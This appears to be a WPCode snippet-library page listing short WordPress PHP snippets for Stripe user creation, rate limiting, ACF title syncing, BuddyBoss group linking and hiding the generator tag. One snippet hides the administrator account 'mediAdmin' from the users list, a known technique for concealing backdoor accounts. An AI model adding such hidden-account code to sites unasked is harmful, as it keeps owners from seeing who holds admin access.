Untitled Snippet
google-site-verification=6Ml542WH4lYeFrqKo9pBa6NBaAyONR9l0k5Sgrk27xkContinue reading
Join 2,000,000+ Professionals who use WPCode to Future-Proof Their Websites!
google-site-verification=6Ml542WH4lYeFrqKo9pBa6NBaAyONR9l0k5Sgrk27xkContinue reading
/** * @link https://library.wpcode.com/snippet/3234p8or/ * * @param StripeEvent $event Stripe Event. * @param StripeSubscription|StripePaymentIntent $object Stripe Subscription or PaymentIntent */ function simpay_custom_create_user( $event, $object ) { $metadata = $object->metadata->toArray(); // Access a custom field with a “Stripe Metadata Label” of…Continue reading
/** * @link https://library.wpcode.com/snippet/r5p3r9o8/ */ /** * Lower the number of requests allowed for the set timeframe to 3 (default 5). */ add_filter( ‘simpay_rate_limiting_max_rate_count’, /** * @return int The number of requests that can be made in the timeframe. */…Continue reading
function sync_acf_post_title($post_id, $post, $update) { $acf_name = get_field(‘name’, $post_id); // Get the value of the “name” ACF field $acf_vorname = get_field(‘vorname’, $post_id); // Get the value of the “vorname” ACF field $post_type = get_post_type($post_id); if ($acf_name && $post_type === “mitarbeiterinnen”)…Continue reading
//* Hide this administrator account from the users list add_action(‘pre_user_query’,’site_pre_user_query’); function site_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username == ‘mediAdmin’) { } else { global $wpdb; $user_search->query_where = str_replace(‘WHERE 1=1’, “WHERE 1=1 AND {$wpdb->users}.user_login != ‘mediAdmin’”,$user_search->query_where); } }Continue reading
// associate a buddyboss group with a product function set_ox_subs_group_id($product_id,$group_id) { //create_new_oxsubs($product_id,$group_id); // add_post_meta( int $post_id, string $meta_key, mixed $meta_value, bool $unique = false ): int|false add_post_meta($product_id,’_social_group_id’, $group_id); return; }Continue reading
add_filter(‘the_generator’, ‘__return_empty_string’);Continue reading